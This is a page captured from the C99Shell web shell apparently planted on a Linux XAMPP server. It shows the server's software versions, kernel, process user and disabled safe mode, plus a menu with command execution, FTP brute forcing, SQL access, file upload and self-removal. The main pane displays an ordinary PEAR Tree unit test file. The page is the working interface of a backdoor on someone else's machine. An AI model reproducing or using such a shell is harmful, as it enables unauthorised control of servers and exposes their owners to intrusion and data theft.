!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/test/Tree/tests/   drwxr-xr-x
Free 13.6 GB of 61.93 GB (21.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     getPathTest.php (1.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//
//  $Id: getPathTest.php 320812 2011-12-09 23:49:34Z danielc $
//

require_once dirname(__FILE__) . '/TreeHelper.php';

class 
tests_getPathTest extends TreeHelper
{
    
// check if we get the right ID, for the given path
    
function test_MemoryDBnested()
    {
        
$tree =& $this->getMemoryDBnested();        
        
$this->_testPath($tree);
    }

    function 
test_MemoryMDBnested()
    {
        if (!
$this->has_mdb) {
            
$this->markTestSkipped('MDB is not installed');
        }

        
$tree =& $this->getMemoryMDBnested();        
        
$this->_testPath($tree);
    }

    
// do this for XML
            
    // do this for Filesystem

    // do this for DBsimple
    
    // do this for DynamicDBnested
    
function test_DynamicDBnested()
    {
        
$tree =& $this->getDynamicDBnested();
        
$this->_testPath($tree);
    }

    function 
test_DynamicMDBnested()
    {
        if (!
$this->has_mdb) {
            
$this->markTestSkipped('MDB is not installed');
        }

        
$tree =& $this->getDynamicMDBnested();
        
$this->_testPath($tree);
    }
    
    function 
_testPath(&$tree)
    {
//        $id = $tree->getIdByPath('/Root/child 2/child 2_2');
        
$id 5;
        
$path $tree->getPath($id);
        
        
$this->assertEquals(3sizeof($path));
        
$this->assertEquals('Root'$path[0]['name']);
        
$this->assertEquals('child 2'$path[1]['name']);
        
$this->assertEquals('child 2_2'$path[2]['name']);
    }


}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4803 ]--